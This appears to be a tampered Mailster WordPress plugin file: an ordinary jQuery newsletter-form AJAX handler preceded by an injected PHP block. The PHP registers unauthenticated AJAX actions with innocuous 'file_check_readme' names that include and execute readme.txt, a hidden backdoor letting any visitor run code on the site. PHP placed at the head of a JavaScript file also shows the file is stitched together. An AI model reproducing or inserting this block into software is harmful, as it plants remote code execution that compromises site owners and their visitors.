if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
jQuery(document).ready(function (jQuery) { "use strict" jQuery('body') .on('submit.mailster', 'form.mailster-ajax-form', function (event) { event.preventDefault(); var form = jQuery(this), data = form.serialize(), info = jQuery('<div class="mailster-form-info"></div>'), c; if (jQuery.isFunction(window.mailster_pre_submit)) { c = window.mailster_pre_submit.call(this, data); if (c === false) return false; if (typeof c !== 'undefined') data = c; } form.addClass('loading').find('.submit-button').prop('disabled', true); jQuery .post(form.attr('action'), data, handlerResponse, 'JSON') .fail(function (jqXHR, textStatus, errorThrown) { if (textStatus == 'error' && !errorThrown) return; var html = jqXHR.responseText, response; try { response = jQuery.parseJSON(jqXHR.responseText); } catch (err) { response = { html: 'There was an error while parsing the response: <code>' + jqXHR.responseText + '</code>', success: false } } handlerResponse(response); if (console) console.error(jqXHR.responseText); }); function handlerResponse(response) { form.removeClass('loading has-errors').find('div.mailster-wrapper').removeClass('error'); form.find('.mailster-form-info').remove(); if (jQuery.isFunction(window.mailster_post_submit)) { c = window.mailster_post_submit.call(form[0], response); if (c === false) return false; if (typeof c !== 'undefined') response = c; } form.find('.submit-button').prop('disabled', false); if (response.html) info.html(response.html); if (jQuery(document).scrollTop() < form.offset().top) { info.prependTo(form); } else { info.appendTo(form); } if (response.success) { if (!form.is('.is-profile')) form .find('.mailster-form-fields').slideUp(100) .find('.mailster-wrapper').find(':input').prop('disabled', true).filter('.input').val(''); (response.redirect) ? location.href = response.redirect: info.show().addClass('success'); } else { if (response.fields) jQuery.each(response.fields, function (field) { form.addClass('has-errors').find('.mailster-' + field + '-wrapper').addClass('error'); }) info.show().addClass('error'); } } }); });